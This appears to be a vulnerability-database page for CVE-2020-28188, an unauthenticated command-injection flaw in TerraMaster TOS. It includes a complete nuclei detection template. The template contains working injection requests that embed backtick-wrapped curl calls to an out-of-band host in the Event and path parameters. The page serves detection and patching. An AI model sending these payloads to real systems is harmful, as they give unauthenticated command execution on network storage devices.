HexBrain

Browse / CVEs / CVE-2020-28188

CVE-2020-28188· terra-master / tos· CWE-78

TerraMaster TOS - Unauthenticated Remote Command Execution

criticalseverity
9.8CVSS score
96.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

TerraMaster TOS <= 4.2.06 is susceptible to a remote code execution vulnerability which could allow remote unauthenticated attackers to inject OS commands via /include/makecvs.php via the Event parameter.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.

Fix

Apply the latest security patch or update provided by TerraMaster to fix the vulnerability.

How to confirm it

Send: GET /include/makecvs.php?Event=%60curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'%60 ; GET /tos/index.php?explorer/pathList&path=%60curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'%60
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: {{useragent}}"

Run it with nuclei: nuclei -id CVE-2020-28188 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-28188

info:
  name: TerraMaster TOS - Unauthenticated Remote Command Execution
  author: gy741
  severity: critical
  description: TerraMaster TOS <= 4.2.06 is susceptible to a remote code execution vulnerability which could allow remote unauthenticated attackers to inject OS commands via /include/makecvs.php via the Event parameter.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
  remediation: |
    Apply the latest security patch or update provided by TerraMaster to fix the vulnerability.
  reference:
    - https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/
    - https://www.pentest.com.tr/exploits/TerraMaster-TOS-4-2-06-Unauthenticated-Remote-Code-Execution.html
    - https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28188
    - http://packetstormsecurity.com/files/172880/TerraMaster-TOS-4.2.06-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-28188
    cwe-id: CWE-78
    epss-score: 0.96453
    epss-percentile: 0.99881
    cpe: cpe:2.3:o:terra-master:tos:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: terra-master
    product: tos
    fofa-query: '"terramaster" && header="tos"'
  tags: cve2020,cve,packetstorm,terramaster,rce,oast,mirai,unauth,terra-master,vkev,vuln
variables:
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        GET /include/makecvs.php?Event=%60curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'%60 HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /tos/index.php?explorer/pathList&path=%60curl+http%3a//{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'%60 HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"

References

Use this check only on systems you are authorised to test. Where the data comes from